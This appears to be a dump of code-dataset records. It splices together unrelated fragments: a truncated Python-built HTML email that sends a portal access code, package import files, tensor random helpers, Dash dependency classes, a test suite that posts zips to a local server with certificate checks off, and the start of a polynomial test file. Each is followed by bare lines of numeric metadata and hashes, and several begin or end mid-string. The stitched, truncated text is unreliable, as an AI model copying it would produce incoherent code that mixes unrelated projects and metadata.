type="text/css" /><!--<![endif]--><style type="text/css"> .main,.mso{background-color:#f6fafb}.logo a:hover,.logo a:focus{color:#859bb1 !important}.footer-logo a:hover,.footer-logo a:focus{color:#372d1b !important}.mso .layout-has-border{border-top:1px solid #afd3dc;border-bottom:1px solid #afd3dc}.mso .layout-has-bottom-border{border-bottom:1px solid #afd3dc}.mso .border,.ie .border{background-color:#afd3dc}.mso h1,.ie h1{}.mso h1,.ie h1{font-size:24px !important;line-height:32px !important}.mso h2,.ie h2{}.mso h2,.ie h2{font-size:18px !important;line-height:26px !important}.mso h3,.ie h3{}.mso .layout__inner,.ie .layout__inner{}.mso .footer__share-button p{}.mso .footer__share-button p{font-family:Merriweather,Georgia,serif} </style><meta name="robots" content="noindex,nofollow" /> <meta property="og:title" content="My First Campaign" /> </head> <!--[if mso]> <body class="mso"> <![endif]--> <!--[if !mso]><!--> <body class="main half-padding" style="margin: 0;padding: 0;-webkit-text-size-adjust: 100%;"> <!--<![endif]--> <table class="wrapper" style="border-collapse: collapse;table-layout: fixed;min-width: 320px;width: 100%;background-color: #f6fafb;" cellpadding="0" cellspacing="0" role="presentation"><tbody><tr><td> <div role="banner"> <div class="preheader" style="Margin: 0 auto;max-width: 560px;min-width: 280px; width: 280px;width: calc(28000% - 167440px);"> <div style="border-collapse: collapse;display: table;width: 100%;"> <!--[if (mso)|(IE)]><table align="center" class="preheader" cellpadding="0" cellspacing="0" role="presentation"><tr><td style="width: 280px" valign="top"><![endif]--> <div class="snippet" style="display: table-cell;Float: left;font-size: 12px;line-height: 19px;max-width: 280px;min-width: 140px; width: 140px;width: calc(14000% - 78120px);padding: 10px 0 5px 0;color: #8e8e8e;font-family: Merriweather,Georgia,serif;"> </div> <!--[if (mso)|(IE)]></td><td style="width: 280px" valign="top"><![endif]--> <div class="webversion" style="display: table-cell;Float: left;font-size: 12px;line-height: 19px;max-width: 280px;min-width: 139px; width: 139px;width: calc(14100% - 78680px);padding: 10px 0 5px 0;text-align: right;color: #8e8e8e;font-family: Merriweather,Georgia,serif;"> <p style="Margin-top: 0;Margin-bottom: 0;" emb-social="webversion">No images? <webversion style="text-decoration: underline;">Click here</webversion></p> </div> <!--[if (mso)|(IE)]></td></tr></table><![endif]--> </div> </div> </div> <div> <div class="layout one-col fixed-width stack" style="Margin: 0 auto;max-width: 600px;min-width: 320px; width: 320px;width: calc(28000% - 167400px);overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;"> <div class="layout__inner" style="border-collapse: collapse;display: table;width: 100%;background-color: #ffffff;"> <!--[if (mso)|(IE)]><table align="center" cellpadding="0" cellspacing="0" role="presentation"><tr class="layout-fixed-width" style="background-color: #ffffff;"><td style="width: 600px" class="w560"><![endif]--> <div class="column" style="text-align: left;color: #8e8e8e;font-size: 14px;line-height: 21px;font-family: sans-serif;"> <div style="Margin-left: 20px;Margin-right: 20px;Margin-top: 12px;"> <div style="mso-line-height-rule: exactly;line-height: 20px;font-size: 1px;">&nbsp;</div> </div> <div style="Margin-left: 20px;Margin-right: 20px;"> <div style="mso-line-height-rule: exactly;mso-text-raise: 11px;vertical-align: middle;"> <h1 style="Margin-top: 0;Margin-bottom: 20px;font-style: normal;font-weight: normal;color: #808a99;font-size: 20px;line-height: 28px;font-family: Merriweather,Georgia,serif;text-align: center;"><strong>Action Required</strong></h1> </div> </div> <div style="Margin-left: 20px;Margin-right: 20px;"> <div style="mso-line-height-rule: exactly;line-height: 12px;font-size: 1px;">&nbsp;</div> </div> <div style="Margin-left: 20px;Margin-right: 20px;"> <div class="divider" style="display: block;font-size: 2px;line-height: 2px;Margin-left: auto;Margin-right: auto;width: 40px;background-color: #afd3dc;Margin-bottom: 20px;">&nbsp;</div> </div> <div style="Margin-left: 20px;Margin-right: 20px;"> <div style="mso-line-height-rule: exactly;line-height: 15px;font-size: 1px;">&nbsp;</div> </div> <div style="Margin-left: 20px;Margin-right: 20px;Margin-bottom: 12px;"> <div style="mso-line-height-rule: exactly;mso-text-raise: 11px;vertical-align: middle;"> <p style="Margin-top: 0;Margin-bottom: 0;">Dear ' txt2 = ',</p><p style="Margin-top: 20px;Margin-bottom: 0;">You receive this message either because you recently trying to access Sponsor Portal&nbsp;or SO Admin portal.</p><h3 style="Margin-top: 20px;Margin-bottom: 0;font-style: normal;font-weight: normal;color: #808a99;font-size: 16px;line-height: 24px;font-family: Merriweather,Georgia,serif;text-align: center;">Access : ' txt3 = '</h3><p style="Margin-top: 12px;Margin-bottom: 0;">Please use above access code to access Sponsor portal or SO Admin portal. This code will expire&nbsp;in 5 minutes.</p><p style="Margin-top: 20px;Margin-bottom: 0;">&nbsp;</p><p style="Margin-top: 20px;Margin-bottom: 0;">Kind regards,</p><p style="Margin-top: 20px;Margin-bottom: 0;">Satsang Auto Task Team</p> </div> </div> </div> <!--[if (mso)|(IE)]></td></tr></table><![endif]--> </div> </div> </div> <div role="contentinfo"><div style="line-height:4px;font-size:4px;" id="footer-top-spacing">&nbsp;</div><div class="layout email-flexible-footer email-footer" style="Margin: 0 auto;max-width: 600px;min-width: 320px; width: 320px;width: calc(28000% - 167400px);overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;" id="footer-content"> <div class="layout__inner center-aligned-footer" style="border-collapse: collapse;display: table;width: 100%;"> <!--[if (mso)|(IE)]><table style="width: 600px;" align="center" cellpadding="0" cellspacing="0" role="presentation"><![endif]--> <!--[if (mso)|(IE)]><tr class="layout-email-footer"><![endif]--> <div class="column" style="text-align: center;font-size: 12px;line-height: 19px;color: #8e8e8e;font-family: Merriweather,Georgia,serif;display: none;" align="center"> <div class="footer-logo emb-logo-margin-box" style="font-size: 26px;line-height: 32px;Margin-top: 10px;Margin-bottom: 20px;color: #7b663d;font-family: Roboto,Tahoma,sans-serif;" align="center"> <div emb-flexible-footer-logo align="center"></div> </div> </div> <!--[if (mso)|(IE)]></tr><![endif]--> <!--[if (mso)|(IE)]><tr class="layout-email-footer"><![endif]--> <div class="column" style="text-align: center;font-size: 12px;line-height: 19px;color: #8e8e8e;font-family: Merriweather,Georgia,serif;display: none;" align="center"> </div> <!--[if (mso)|(IE)]></tr><![endif]--> <!--[if (mso)|(IE)]><tr class="layout-email-footer"><![endif]--> <table style="border-collapse: collapse;table-layout: fixed;width: 100%;" cellpadding="0" cellspacing="0"><tbody><tr><td><div class="column js-footer-additional-info" style="text-align: center;font-size: 12px;line-height: 19px;color: #8e8e8e;font-family: Merriweather,Georgia,serif;display: inline;width: 100%;" align="center"> <div style="margin-left: 0;margin-right: 0;Margin-top: 10px;Margin-bottom: 10px;"> <div class="email-footer__additional-info" style="font-size: 12px;line-height: 19px;margin-bottom: 18px;margin-top: 0px;"> <div><p class="email-flexible-footer__additionalinfo--center" style="Margin-top: 0;Margin-bottom: 0;">Replies to this message will be undeliverable and not reach SO. Please do not reply.</p><p class="email-flexible-footer__additionalinfo--center" style="Margin-top: 0;Margin-bottom: 0;">&nbsp;</p><p class="email-flexible-footer__additionalinfo--center" style="Margin-top: 0;Margin-bottom: 0;">This&nbsp;email&nbsp;is confidential and may be privileged. If you are not the intended recipient, you must not retain, disclose, print, copy, forward or use this&nbsp;email&nbsp;and must permanently delete it.</p></div> </div> <div class="email-footer__additional-info" style="font-size: 12px;line-height: 19px;margin-bottom: 15px;"> <!--<unsubscribe style="text-decoration: underline;"></unsubscribe>--> </div> <!--[if mso]>&nbsp;<![endif]--> </div> </div></td></tr></tbody></table> <!--[if (mso)|(IE)]></tr></table><![endif]--> </div> </div><div style="line-height:40px;font-size:40px;" id="footer-bottom-spacing">&nbsp;</div></div> </td></tr></tbody></table> <style type="text/css"> @media (max-width:619px){.email-flexible-footer .left-aligned-footer .column,.email-flexible-footer .center-aligned-footer,.email-flexible-footer .right-aligned-footer .column{max-width:100% !important;text-align:center !important;width:100% !important}.flexible-footer-logo{margin-left:0px !important;margin-right:0px !important}.email-flexible-footer .left-aligned-footer .flexible-footer__share-button__container,.email-flexible-footer .center-aligned-footer .flexible-footer__share-button__container,.email-flexible-footer .right-aligned-footer .flexible-footer__share-button__container{display:inline-block;margin-left:5px !important;margin-right:5px !important}.email-flexible-footer__additionalinfo--center{text-align:center !important}.email-flexible-footer .left-aligned-footer table,.email-flexible-footer .center-aligned-footer table,.email-flexible-footer .right-aligned-footer table{display:table !important;width:100% !important}.email-flexible-footer .footer__share-button,.email-flexible-footer .email-footer__additional-info{margin-left:20px;margin-right:20px}} </style> </body></html>' return txt1 + nameto + txt2 + msg + txt3
2,826
17,489
0.722222
3,314
22,608
4.896198
0.12583
0.047455
0.063232
0.011093
0.667386
0.630531
0.589424
0.524097
0.495686
0.438555
0
0.055394
0.084926
22,608
7
17,490
3,229.714286
0.728925
0
0
0
0
0.6
0.994471
0.301929
0
0
0
0
0
1
0.2
false
0
0.4
0
0.8
0.4
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
d7bfc6906fd078029e4fae84690372061a9e1189
377
py
Python
running_modes/configurations/reinforcement_learning/__init__.py
lilleswing/Reinvent-1
ac4e3e6fa6379c6f4af883478dfd1b3407933ada
[ "Apache-2.0" ]
183
2020-04-04T02:01:15.000Z
2022-03-30T21:56:56.000Z
running_modes/configurations/reinforcement_learning/__init__.py
lilleswing/Reinvent-1
ac4e3e6fa6379c6f4af883478dfd1b3407933ada
[ "Apache-2.0" ]
39
2020-04-05T15:19:56.000Z
2022-03-09T12:58:21.000Z
running_modes/configurations/reinforcement_learning/__init__.py
lilleswing/Reinvent-1
ac4e3e6fa6379c6f4af883478dfd1b3407933ada
[ "Apache-2.0" ]
70
2020-04-05T19:25:43.000Z
2022-02-22T12:04:39.000Z
from running_modes.configurations.reinforcement_learning.inception_configuration import InceptionConfiguration from running_modes.configurations.reinforcement_learning.reinforcement_learning_components import ReinforcementLearningComponents from running_modes.configurations.reinforcement_learning.reinforcement_learning_configuration import ReinforcementLearningConfiguration
94.25
135
0.944297
32
377
10.78125
0.40625
0.304348
0.13913
0.26087
0.565217
0.565217
0.417391
0.417391
0
0
0
0
0.03183
377
3
136
125.666667
0.945205
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
1
null
1
0
1
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
d7f97596f24a0b87801e5ca06ce3a32db11a50a8
360
py
Python
temboo/core/Library/Twilio/Transcriptions/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
7
2016-03-07T02:07:21.000Z
2022-01-21T02:22:41.000Z
temboo/core/Library/Twilio/Transcriptions/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
null
null
null
temboo/core/Library/Twilio/Transcriptions/__init__.py
jordanemedlock/psychtruths
52e09033ade9608bd5143129f8a1bfac22d634dd
[ "Apache-2.0" ]
8
2016-06-14T06:01:11.000Z
2020-04-22T09:21:44.000Z
from temboo.Library.Twilio.Transcriptions.GetTranscription import GetTranscription, GetTranscriptionInputSet, GetTranscriptionResultSet, GetTranscriptionChoreographyExecution from temboo.Library.Twilio.Transcriptions.ListTranscriptions import ListTranscriptions, ListTranscriptionsInputSet, ListTranscriptionsResultSet, ListTranscriptionsChoreographyExecution
120
184
0.922222
22
360
15.090909
0.636364
0.060241
0.10241
0.138554
0.222892
0
0
0
0
0
0
0
0.038889
360
2
185
180
0.959538
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
cc21330bf9b66b8adc7797536c9e2dc6382bb251
735
py
Python
src/cranet/autograd/random.py
shizuku/cranet
4c86ad16029ed76a74e22b5e5e4c21267d6b9996
[ "MIT" ]
4
2021-10-31T13:31:13.000Z
2021-12-11T08:45:36.000Z
src/cranet/autograd/random.py
Azathoth1729/cranet
4c86ad16029ed76a74e22b5e5e4c21267d6b9996
[ "MIT" ]
null
null
null
src/cranet/autograd/random.py
Azathoth1729/cranet
4c86ad16029ed76a74e22b5e5e4c21267d6b9996
[ "MIT" ]
2
2021-10-31T13:34:28.000Z
2021-11-21T09:11:46.000Z
from .tensor import Tensor import numpy as np def normal(shape, loc=0.0, scale=1.0, requires_grad=False) -> Tensor: return Tensor(np.random.normal(loc=loc, scale=scale, size=shape), requires_grad=requires_grad) def normal_like(a, loc=0.0, scale=1.0, requires_grad=False) -> Tensor: return Tensor(np.random.normal(loc=loc, scale=scale, size=a.shape), requires_grad=requires_grad) def uniform(shape, low=0.0, high=1.0, requires_grad=False) -> Tensor: return Tensor(np.random.uniform(low=low, high=high, size=shape), requires_grad=requires_grad) def uniform_like(a, low=0.0, high=1.0, requires_grad=False) -> Tensor: return Tensor(np.random.uniform(low=low, high=high, size=a.shape), requires_grad=requires_grad)
36.75
100
0.744218
124
735
4.298387
0.193548
0.270169
0.075047
0.105066
0.864916
0.864916
0.864916
0.600375
0.600375
0.600375
0
0.024465
0.110204
735
19
101
38.684211
0.79052
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0.2
0.4
1
0
0
0
0
null
1
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
8
0421860c116939296e7de6cb1ae0ab705b864144
890
py
Python
dash/dependencies.py
destitutegorilla/DarkCoinCash
04d663d24dcf5d59118cfa3601b72bad4dc083a5
[ "MIT" ]
3
2018-08-21T14:13:25.000Z
2022-02-28T01:36:26.000Z
dash/dependencies.py
jesman/dash
2c182b14b070228efc9a69cfa96c57578e801e93
[ "MIT" ]
null
null
null
dash/dependencies.py
jesman/dash
2c182b14b070228efc9a69cfa96c57578e801e93
[ "MIT" ]
1
2021-06-21T07:54:34.000Z
2021-06-21T07:54:34.000Z
# pylint: disable=old-style-class, too-few-public-methods class Output: def __init__(self, component_id, component_property): self.component_id = component_id self.component_property = component_property # pylint: disable=old-style-class, too-few-public-methods class Input: def __init__(self, component_id, component_property): self.component_id = component_id self.component_property = component_property # pylint: disable=old-style-class, too-few-public-methods class State: def __init__(self, component_id, component_property): self.component_id = component_id self.component_property = component_property # pylint: disable=old-style-class, too-few-public-methods class Event: def __init__(self, component_id, component_event): self.component_id = component_id self.component_event = component_event
32.962963
57
0.746067
112
890
5.571429
0.169643
0.25
0.192308
0.307692
0.927885
0.927885
0.878205
0.815705
0.815705
0.815705
0
0
0.168539
890
26
58
34.230769
0.843243
0.250562
0
0.625
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0
0
0.5
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
10
042ea73e17137d5da9a8fd7d89648f5af0e2fb18
14,065
py
Python
VersionAlpha0.0.1/Tests.py
GoranBotic/Water_Fern
d4f513315c0cd668b17529cc65271bf455b15adc
[ "MIT" ]
null
null
null
VersionAlpha0.0.1/Tests.py
GoranBotic/Water_Fern
d4f513315c0cd668b17529cc65271bf455b15adc
[ "MIT" ]
null
null
null
VersionAlpha0.0.1/Tests.py
GoranBotic/Water_Fern
d4f513315c0cd668b17529cc65271bf455b15adc
[ "MIT" ]
null
null
null
import requests import unittest import time from testing import config import psycopg2 as db import urllib3 import json urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class TestFlatZipSubmission(unittest.TestCase): con = None cur = None @classmethod def setUpClass(cls): #connect to the DB to verify that indexing occured as expected cls.con = db.connect( host = config.POSTGRES_ADDRESS, port = config.POSTGRES_PORT, database = config.POSTGRES_DB, user = config.POSTGRES_USER, password = config.POSTGRES_PASS ) cls.cur = cls.con.cursor() #clean the DB just in case cls.cur.execute("DELETE FROM " + config.TABLE_ASSOCIATIONS + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_INDEXES + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_SUBMISSIONS + ";") cls.con.commit() #post to the backend server and wait for the files to be indexed r = None with open('testing/flatZip.zip', 'rb') as f: r = requests.post('https://0.0.0.0:8001/api/v1/uploadsubmission', files={'file': f}, data={'uID':0, 'aID':0}, verify=False) cls.assertTrue(r.status_code == 200, "Failed to post file") time.sleep(30) @classmethod def tearDownClass(cls): cls.cur.execute("DELETE FROM " + config.TABLE_ASSOCIATIONS + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_INDEXES + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_SUBMISSIONS + ";") cls.con.commit() cls.cur.close() cls.con.close() def test_submissions_were_stored(self): """Testing that the submit files from the flat zip were stored in the DB""" self.cur.execute("SELECT COUNT(*) FROM " + config.TABLE_SUBMISSIONS + ";") totalSubmissions = self.cur.fetchall()[0][0] self.assertTrue(totalSubmissions == 2, "not all files were stored in the data base") def test_indexes_were_generated(self): """Testing that indexes were generated on each file from the flat zip""" self.cur.execute("SELECT COUNT(*) FROM " + config.TABLE_INDEXES + " GROUP BY SUBMISSION_ID;") totals = self.cur.fetchall() for r in totals: self.assertTrue(r[0] > 0, "Indexers were not generated for all documents.") def test_associations_were_found(self): """Testing that associations between the submit files from the flat zip were stored in the DB""" self.cur.execute("SELECT count(submissions.id) from " + config.TABLE_ASSOCIATIONS + ", " + config.TABLE_SUBMISSIONS + " WHERE submissions.ID = document1 or submissions.ID = document2 GROUP BY submissions.id;") totals = self.cur.fetchall() for r in totals: self.assertTrue(r[0] > 0, "Associations were not generated for all documents.") def test_getAssociations_rejects_malformed_requests(self): "Testing to ensure that the endpoint for retrieving associations rejects malformed requests.""" r = requests.post('https://0.0.0.0:8001/api/v1/getAssociations' , data={'fsdfID':0}, verify=False) self.assertTrue(r.status_code == 400, "getAssociations should have rejected the malformed request") def test_associations_can_be_retrieved(self): "Testing to ensure that found associations can be retrieved.""" r = requests.post('https://0.0.0.0:8001/api/v1/getAssociations' , data={'fID':0}, verify=False) self.assertTrue(r.status_code == 200, "Response from getAssociations was not 200") self.assertTrue(len(r.content) > 0, "No associations were retrieved") def test_get_submissions_for_assignment(self): """Geting submissions from the flat zip""" r = requests.post('https://0.0.0.0:8001/api/v1/getSubmissionsList', verify=False, allow_redirects=False, data= {'assignmentID':0}) ar = r.json() self.assertTrue(len(ar) == 2, "There should be 2 submissions to the assingment with id 0") def test_get_assignment_list_malformed_input(self): """Testing for malformed input after submission from the flat zip""" r = requests.post('https://0.0.0.0:8001/api/v1/getSubmissionsList', verify=False, allow_redirects=False, data= {'offegID':0}) self.assertTrue(r.status_code == 400, "getsubmissionsList failed to detect malformed input.") def test_get_submissions_for_assignment(self): """Geting submission with id 1 from the flat zip""" r = requests.post('https://0.0.0.0:8001/api/v1/getSubmission', verify=False, allow_redirects=False, data= {'submissionID':1}) ar = r.json() self.assertTrue(len(ar) == 3, "A single submission should be returned " + str(ar)) def test_get_assignment_list_malformed_input(self): """Testing for malformed input to getSubmission after submit from the flat zip""" r = requests.post('https://0.0.0.0:8001/api/v1/getSubmission', verify=False, allow_redirects=False, data= {'offegID':0}) self.assertTrue(r.status_code == 400, "getSubmission failed to detect malformed input.") class TestNonFlatZipSubmission(unittest.TestCase): con = None cur = None @classmethod def setUpClass(cls): #connect to the DB to verify that indexing occured as expected cls.con = db.connect( host = config.POSTGRES_ADDRESS, port = config.POSTGRES_PORT, database = config.POSTGRES_DB, user = config.POSTGRES_USER, password = config.POSTGRES_PASS ) cls.cur = cls.con.cursor() #Clean the DB just in case cls.cur.execute("DELETE FROM " + config.TABLE_ASSOCIATIONS + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_INDEXES + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_SUBMISSIONS + ";") cls.con.commit() #post to the backend server and wait for the files to be indexed r = None with open('testing/nonFlatZip.zip', 'rb') as f: r = requests.post('https://0.0.0.0:8001/api/v1/uploadsubmission', files={'file': f}, data={'uID':0, 'aID':0}, verify=False) cls.assertTrue(r.status_code == 200, "Failed to post file") time.sleep(30) @classmethod def tearDownClass(cls): cls.cur.execute("DELETE FROM " + config.TABLE_ASSOCIATIONS + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_INDEXES + ";") cls.con.commit() cls.cur.execute("DELETE FROM " + config.TABLE_SUBMISSIONS + ";") cls.con.commit() cls.cur.close() cls.con.close() def test_submissions_were_stored(self): """Testing that the submit files from the non-flat zip were stored in the DB""" self.cur.execute("SELECT COUNT(*) FROM " + config.TABLE_SUBMISSIONS + ";") totalSubmissions = self.cur.fetchall()[0][0] self.assertTrue(totalSubmissions == 2, "There should be 2 submissions in the DB not " + str(totalSubmissions)) def test_indexers_were_generated(self): """Testing that indexes were generated on each file from the non-flat zip """ self.cur.execute("SELECT COUNT(*) FROM " + config.TABLE_INDEXES + " GROUP BY SUBMISSION_ID;") totals = self.cur.fetchall() for r in totals: self.assertTrue(r[0] > 0, "Indexers were not generated for all documents.") def test_associations_were_found(self): """Testing that associations between the submit files were stored in the DB""" self.cur.execute("SELECT count(submissions.id) from " + config.TABLE_ASSOCIATIONS + ", " + config.TABLE_SUBMISSIONS + " WHERE submissions.ID = document1 or submissions.ID = document2 GROUP BY submissions.id;") totals = self.cur.fetchall() for r in totals: self.assertTrue(r[0] > 0, "Associations were not generated for all documents.") def test_getAssociations_rejects_malformed_requests(self): "Testing to ensure that the endpoint for retrieving associations rejects malformed requests.""" r = requests.post('https://0.0.0.0:8001/api/v1/getAssociations' , data={'fsdfID':0}, verify=False) self.assertTrue(r.status_code == 400, "getAssociations should have rejected the malformed request") def test_associations_can_be_retrieved(self): "Testing to ensure that found associations can be retrieved. After submission from the non-flat zip """ r = requests.post('https://0.0.0.0:8001/api/v1/getAssociations' , data={'fID':0}, verify=False) self.assertTrue(r.status_code == 200, "Response from getAssociations was not 200") self.assertTrue(len(r.content) > 0, "No associations were retrieved") def test_get_submissions_for_assignment(self): """Getting submissions from the endpoint after submission from the non-flat zip """ r = requests.post('https://0.0.0.0:8001/api/v1/getSubmissionsList', verify=False, allow_redirects=False, data= {'assignmentID':0}) ar = r.json() self.assertTrue(len(ar) == 2, "There should be 2 submissions to the assingment with id 0 not " + str(len(ar))) def test_get_assignment_list_malformed_input(self): r = requests.post('https://0.0.0.0:8001/api/v1/getSubmissionsList', verify=False, allow_redirects=False, data= {'offegID':0}) self.assertTrue(r.status_code == 400, "getsubmissionsList failed to detect malformed input.") def test_get_submissions_for_assignment(self): """Geting submission with id 1 from the non-flat zip""" r = requests.post('https://0.0.0.0:8001/api/v1/getSubmission', verify=False, allow_redirects=False, data= {'submissionID':3}) ar = r.json() self.assertTrue(len(ar) == 3, "A single submission should be returned") def test_get_assignment_list_malformed_input(self): """Testing for malformed input to the getSubmission page""" r = requests.post('https://0.0.0.0:8001/api/v1/getSubmission', verify=False, allow_redirects=False, data= {'offegID':0}) self.assertTrue(r.status_code == 400, "getSubmission failed to detect malformed input.") class TestSubmissionOfBrokenCode(unittest.TestCase): def test_missing_assignment_ID_field(cls): #post to the backend server and wait for the files to be indexed r = None with open('testing/brokenCode.zip', 'rb') as f: r = requests.post('https://0.0.0.0:8001/api/v1/uploadsubmission', files={'file': f}, data={'uID':0}, verify=False) cls.assertTrue(r.status_code == 400, "Missing field aID should have been detected") def test_missing_user_ID_field(cls): with open('testing/brokenCode.zip', 'rb') as f: r = requests.post('https://0.0.0.0:8001/api/v1/uploadsubmission', files={'file': f}, data={'aID':0}, verify=False) cls.assertTrue(r.status_code == 400, "Missing field uID should have been detected") def test_invalid_source_code_java(cls): with open('testing/brokenCode.zip', 'rb') as f: r = requests.post('https://0.0.0.0:8001/api/v1/uploadsubmission', files={'file': f}, data={'uID':0, 'aID':0}, verify=False) cls.assertTrue(str(r.content).find("Invalid Code") != -1, "Invalid code should have been detected") class TestVisitingFrontEnd(unittest.TestCase): def test_https_redirect(cls): r = requests.get('http://0.0.0.0:8000', verify=False, allow_redirects=False) cls.assertTrue(r.status_code == 301, "http on port 80 should redirect to https on port 443") def test_get_list_of_classes(self): r = requests.post('https://0.0.0.0:8001/api/v1/getClassList', verify=False, allow_redirects=False) ar = r.json() memes = None for row in ar: if row[0] == 0: memes = row[1] self.assertTrue(memes == "memes123", "The course with ID 0 shoud be called memes123") def test_get_offerings(self): r = requests.post('https://0.0.0.0:8001/api/v1/getOfferingList', verify=False, allow_redirects=False, data= {'classID':0}) ar = r.json() date = None count = 0 for row in ar: if row[0] == 0: count += 1 date = row[1] self.assertTrue(count == 1, "There should be only one offering of the class with id 0") self.assertTrue(date == "Sun, 01 Jan 2017 00:00:00 GMT", "The offering of class with ID 0 should start on Sunday, January 1, 2017") def test_get_offerings(self): r = requests.post('https://0.0.0.0:8001/api/v1/getOfferingList', verify=False, allow_redirects=False, data= {'clasdsID':0}) self.assertTrue(r.status_code == 400, "getOfferingList failed to detect malformed input.") def test_get_assignment_list(self): r = requests.post('https://0.0.0.0:8001/api/v1/getAssignmentList', verify=False, allow_redirects=False, data= {'offeringID':0}) ar = r.json() theID = None count = 0 for row in ar: if row[0] == 0: count += 1 theID = row[0] self.assertTrue(count == 1, "There should be only one assignment for the offering with id 0") self.assertTrue(theID == 0, "The assignment should have id = 0") def test_get_assignment_list_malformed_input(self): r = requests.post('https://0.0.0.0:8001/api/v1/getAssignmentList', verify=False, allow_redirects=False, data= {'offegID':0}) self.assertTrue(r.status_code == 400, "getAssignmentList failed to detect malformed input.") #TODO: adding classes, adding offerings add assignments, addNewUser,
44.792994
217
0.647138
1,867
14,065
4.788431
0.117836
0.01745
0.015436
0.010291
0.869799
0.851342
0.838814
0.83557
0.828747
0.819016
0
0.034127
0.22915
14,065
314
218
44.792994
0.790445
0.115819
0
0.710784
0
0
0.291155
0.01023
0
0
0
0.003185
0.161765
1
0.151961
false
0.009804
0.034314
0
0.22549
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
04449e7894857d596b506b6c5e354b33b0c2321e
24,339
py
Python
polynomials_on_simplices/piecewise_polynomial/test/piecewise_polynomial_lagrange_basis_test.py
FAndersson/polynomials_on_simplices
f015a4772c817bfa99b0d6b726667a38a174b064
[ "MIT" ]
1
2021-03-17T11:41:21.000Z
2021-03-17T11:41:21.000Z
polynomials_on_simplices/piecewise_polynomial/test/piecewise_polynomial_lagrange_basis_test.py
FAndersson/polynomials_on_simplices
f015a4772c817bfa99b0d6b726667a38a174b064
[ "MIT" ]
null
null
null
polynomials_on_simplices/piecewise_polynomial/test/piecewise_polynomial_lagrange_basis_test.py
FAndersson/polynomials_on_simplices
f015a4772c817bfa99b0d6b726667a38a174b064
[ "MIT" ]
null
null
null
import sys import numpy as np import pytest import polynomials_on_simplices.algebra.multiindex as multiindex from polynomials_on_simplices.geometry.mesh.basic_meshes.tet_meshes import ( rectangular_box_triangulation, unit_cube_vertices) from polynomials_on_simplices.geometry.mesh.basic_meshes.triangle_meshes import ( rectangle_triangulation, rectangle_vertices, unit_square_vertices) from polynomials_on_simplices.geometry.mesh.simplicial_complex import simplex_vertices from polynomials_on_simplices.piecewise_polynomial.piecewise_polynomial import piecewise_polynomials_equal from polynomials_on_simplices.piecewise_polynomial.piecewise_polynomial_lagrange_basis import ( PiecewisePolynomialLagrange, dual_piecewise_polynomial_lagrange_basis, generate_inverse_local_to_global_map, generate_local_to_global_map, piecewise_polynomial_lagrange_basis, unit_piecewise_polynomial_lagrange, zero_piecewise_polynomial_lagrange) from polynomials_on_simplices.polynomial.polynomials_base import get_dimension from polynomials_on_simplices.polynomial.polynomials_simplex_base import polynomials_equal_on_simplex def line_strip_primitives(resolution): """ Create the indexed primitives of a line strip. :param resolution: Number of vertices in the line strip. :return: resolution - 1 by 2 list of primitives. """ primitives = np.empty((resolution - 1, 2), dtype=int) for i in range(resolution - 1): primitives[i][0] = i primitives[i][1] = i + 1 return primitives def create_scalar_valued_univariate_piecewise_polynomial(): n = 5 lines = line_strip_primitives(n) vertices = np.linspace(0, 1, n) r = 2 coeff = [1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3] return PiecewisePolynomialLagrange(coeff, lines, vertices, r) def create_random_scalar_valued_univariate_piecewise_polynomial(r=2): n = 5 lines = line_strip_primitives(n) vertices = np.linspace(0, 1, n) dim = (n - 1) * get_dimension(r, 1) coeff = np.random.rand(dim) return PiecewisePolynomialLagrange(coeff, lines, vertices, r) def create_vector_valued_univariate_piecewise_polynomial(): n = 5 lines = line_strip_primitives(n) vertices = np.linspace(0, 1, n) r = 2 coeff = [[1, 1], [2, 2], [3, 3], [1, 1], [2, 2], [3, 3], [1, 1], [2, 2], [3, 3], [1, 1], [2, 2], [3, 3]] return PiecewisePolynomialLagrange(coeff, lines, vertices, r) def create_random_vector_valued_univariate_piecewise_polynomial(r=2): n = 5 lines = line_strip_primitives(n) vertices = np.linspace(0, 1, n) dim = (n - 1) * get_dimension(r, 1) coeff = np.random.random_sample((dim, 2)) return PiecewisePolynomialLagrange(coeff, lines, vertices, r) def create_scalar_valued_bivariate_piecewise_polynomial(): triangles = rectangle_triangulation() vertices = rectangle_vertices(1, 1)[:, 0:2] r = 2 coeff = [1, 2, 3, 4, 5, 6, 1, 2, 3, 4, 5, 6] return PiecewisePolynomialLagrange(coeff, triangles, vertices, r) def create_random_scalar_valued_bivariate_piecewise_polynomial(r=2): 